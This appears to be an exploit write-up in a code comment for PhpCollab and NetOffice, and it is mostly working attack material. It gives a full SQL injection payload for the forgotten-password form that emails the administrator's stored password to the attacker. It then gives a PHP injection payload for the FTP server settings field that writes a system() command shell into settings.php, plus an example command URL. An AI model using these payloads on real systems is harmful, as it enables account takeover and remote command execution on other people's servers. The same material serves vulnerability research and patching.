/* explaination:

   tested & working against: PhpCollab v2.4
			     PhpCollab v2.5 rc3
	                     NetOffice v2.5.3-pl1
	                     NetOffice v2.6.0b2
   vulnerability;

   SQL injection in "forgotten password" feature:
   if magic_quotes_gpc=Off you can send yourself the admin (md5(), crypt() or
   plain text) password, poc:
   you can submit a "loginForm" POST value like this to general/sendpassword.php
   script :

  'UNION SELECT id,1,CONCAT('this is the real password (encrypted with md5(),
  crypt() or in plain text): ',password),password,name,title,'[your email here]'
  ,null,'','','','',null,1,'2006-03-27 20:48',0,'administration/admin.php','',''
  ,null FROM members mem WHERE id=1/*

  query becomes:
   SELECT mem.*, org.name, log.connected FROM members mem LEFT OUTER JOIN
   organizations org ON org.id = mem.organization LEFT OUTER JOIN logs log ON
   log.login = mem.login  WHERE mem.login = ''UNION SELECT id,1,CONCAT('this is
   the real password (encrypted with md5(),crypt() or in plain text): ',password
   ),password,name,title,'[your email]',null,'','','','',null,1,'2006-03-27 20:
   48',0,'administration/admin.php','','',null FROM members mem WHERE id=1/*'

  you will receive soon a mail like this:

  Username : this is the real password (encrypted with md5(),crypt() or in plain text): [password]
  password : [random generated password]

  ignore password field, password is not changed, 'cause the UPDATE query fails,
  but the real one is showed in Username mail field.

  once you are admin, you can inject arbitrary code in settings.php
  (you know, magic_quotes_gpc is off), poc:
  login, go to "Edit settings" feature, in FTP SERVER field type:

  '); system($_GET[cmd]); print ('

  in settings.php, near line 38, you have:

  ...
  define('FTPSERVER',''); system($_GET[cmd]); print ('');
  ...

  so you can launch commands, ex:

  http://[target]/[path]/general/login.php?cmd=ls%20-la
